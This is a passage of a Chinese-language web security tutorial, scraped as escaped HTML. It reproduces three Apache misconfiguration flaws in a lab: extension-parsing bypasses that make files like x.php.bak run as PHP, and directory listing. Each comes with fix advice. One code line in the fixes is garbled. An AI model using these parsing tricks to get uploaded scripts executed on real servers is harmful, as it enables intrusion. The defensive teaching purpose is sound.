    \u5229\u7528\u6b64\u6f0f\u6d1e\u65f6\u5fc5\u987b\u4fdd\u8bc1\u6269\u5c55\u540d\u4e2d\u81f3\u5c11\u5e26\u6709\u4e00\u4e2a.php\uff0c\u4e0d\u7136\u5c06\u9ed8\u8ba4\u4f5c\u4e3atxt\/html\u6587\u6863\u5904\u7406<\/p>\n<\/li>\n<\/ol>\n
    kali\u590d\u73b0\u6f0f\u6d1e<\/h3>\n
    sudo service apache2 restart<\/p>\n
    cd \/etc\/apache2\/mods-enabled<\/p>\n
    sudo vi php7.4.conf<\/p>\n
    \"1746497068884-179f1385-3c56-4cc6-98a1-f39f0f70c373.png\"<\/p>\n
    \u6b63\u5219\u8868\u8fbe\u5f0f\u4e2d\uff0c$\u7528\u6765\u5339\u914d\u5b57\u7b26\u4e32\u7ed3\u5c3e\u4f4d\u7f6e\u3002\u5982\u679c\u8bbe\u7f6e\u4e86RegExp\u5bf9\u8c61\u7684Multiline\u5c5e\u6027\u7684\u6761\u4ef6\u4e0b\uff0c\u8fd8\u4f1a\u5339\u914d\u5230\u5b57\u7b26\u4e32\u7ed3\u5c3e\u7684\u6362\u884c\u7b26"n"\u6216"r"<\/p>\n
    \u628a$\u6362\u6210. \u7136\u540e\u91cd\u542fapache\u5373\u53ef\u89e3\u6790\u6210php sudo service apache2 restart<\/p>\n
    \u5728\/var\/www\/html \u521b\u5efax.php.bak \u5e76\u5199\u5165 <?php phpinfo();?><\/p>\n
    \"1746497086343-1a008156-7b1b-498b-aa91-738e7766ecab.png\"<\/p>\n
    \u4fee\u590d\u5efa\u8bae<\/h3>\n
    \u89e3\u51b3\u65b9\u6848\u4e00<\/p>\n
    \u5728httpd.conf\u6216httpd-vhosts.conf\u4e2d\u52a0\u5165\u4ee5\u4e0b\u8bed\u53e5\uff0c\u4ece\u800c\u7981\u6b62\u6587\u4ef6\u540d\u683c\u5f0f\u4e3a.php.\u7684\u8bbf\u95ee\u6743\u9650\uff1a<\/p>\n
    \u89e3\u51b3\u65b9\u6848\u4e8c<\/p>\n
    \u5982\u679c\u9700\u8981\u4fdd\u7559\u6587\u4ef6\u540d\uff0c\u53ef\u4ee5\u4fee\u6539\u7a0b\u5e8f\u6e90\u4ee3\u7801\uff0c\u66ff\u6362\u4e0a\u4f20\u6587\u4ef6\u540d\u4e2d\u7684\u201c.\u201d\u4e3a\u201c_\u201d\uff1a<\/p>\n
    $filename = strreplace(‘.’, ‘<\/em>‘, $filename);<\/p>\n
    2\u3001AddHandler\u5bfc\u81f4\u7684\u89e3\u6790\u6f0f\u6d1e<\/h2>\n
    \u6f0f\u6d1e<\/h3>\n
    (1)apache\u5728\u89e3\u6790\u6587\u4ef6\u65f6\u6709\u4e00\u4e2a\u539f\u5219\uff1a\u5f53\u78b0\u5230\u4e0d\u8ba4\u8bc6\u7684\u6269\u5c55\u540d\u65f6\uff0c\u5c06\u4f1a\u4ece\u540e\u5f80\u524d\u89e3\u6790\uff0c\u76f4\u5230\u9047\u5230\u8ba4\u8bc6\u7684\u6269<\/p>\n
    \u5c55\u540d\u4e3a\u6b62<\/p>\n
    (2)\u5982\u679c\u90fd\u4e0d\u8ba4\u8bc6\u5c06\u4f1a\u66b4\u9732\u6e90\u7801<\/p>\n
    \u5728apache\u914d\u7f6e\u4e0d\u5f53\u7684\u65f6\u5019\u5c31\u4f1a\u9020\u6210apache\u89e3\u6790\u6f0f\u6d1e<\/p>\n
    \u590d\u73b0<\/h3>\n
    1\u3001\u5728httpd.conf \u628a\u6ce8\u91ca\u53bb\u6389\uff0c\u540e\u7f00\u662f\u5b58\u5728.php .phtml\u90fd\u4f1a\u89e3\u6790\u6210php\u6587\u4ef6<\/p>\n
    AddType application\/x-httpd-php .php .phtml<\/p>\n
    \"1746497151993-a58470f6-9cd1-4ef7-964a-90c56d01dade.png\"<\/p>\n
    \u4fee\u590d\u5efa\u8bae<\/h3>\n
    1.\u5728httpd.conf\u6216httpd-vhosts.conf\u4e2d\u52a0\u5165\u4ee5\u4e0b\u8bed\u53e5\uff0c\u4ece\u800c\u7981\u6b62\u6587\u4ef6\u540d\u683c\u5f0f\u4e3a.php.\u7684\u8bbf\u95ee\u6743\u9650<\/p>\n
    <FilesMatch \".(php.|php3.|php4.|php5.)\">\nOrder Deny,Allow\nDeny from all\n<\/FilesMatch><\/code><\/pre>\n
    2.\u628a\u914d\u7f6e\u4e0d\u5f53\u7684\u6587\u4ef6\u8fdb\u884c\u4fee\u6539<\/p>\n
    3\u3001\u76ee\u5f55\u904d\u5386\u6f0f\u6d1e<\/h2>\n
    \u539f\u7406<\/h3>\n
    \u5ba2\u6237\u7aef\u8bbf\u95ee\u5230\u4e00\u4e2a\u76ee\u5f55\u65f6\uff0cApache\u670d\u52a1\u5668\u5c06\u4f1a\u9ed8\u8ba4\u5bfb\u627e\u4e00\u4e2aindex list\u4e2d\u7684\u6587\u4ef6\uff0c\u82e5\u6587 \u4ef6\u4e0d\u5b58\u5728\uff0c\u5219\u4f1a\u5217\u51fa\u5f53\u524d\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6\u6216\u8fd4\u56de403\u72b6\u6001\u7801\uff0c\u800c\u5217\u51fa\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6\u7684\u884c\u4e3a\u79f0\u4e3a\u76ee\u5f55\u904d\u5386<\/p>\n
    \u590d\u73b0<\/h3>\n
    DocumentRoot \"C:phpStudyWWW\"\n<Directory \/>\nOptions +Indexes +FollowSymLinks +ExecCGI\nAllowOverride All\nOrder allow,deny\nAllow from all\nRequire all granted\n<\/Directory><\/code><\/pre>\n
    \"1746497232467-3c0fc488-967c-43bc-80d2-e367441eeedd.png\"<\/p>\n
    \u9632\u5fa1<\/h3>\n
    \u5728httpd.conf\u6587\u4ef6\u4e2d\u627e\u5230Options + Indexes + FollowSymLinks + ExecCGI\u5e76\u4fee\u6539\u6210Options -Indexes +FollowSymLinks + ExecCGI\u5e76\u4fdd\u5b58\uff08\u5427+\u4fee\u6539\u4e3a-\uff09<\/p>\n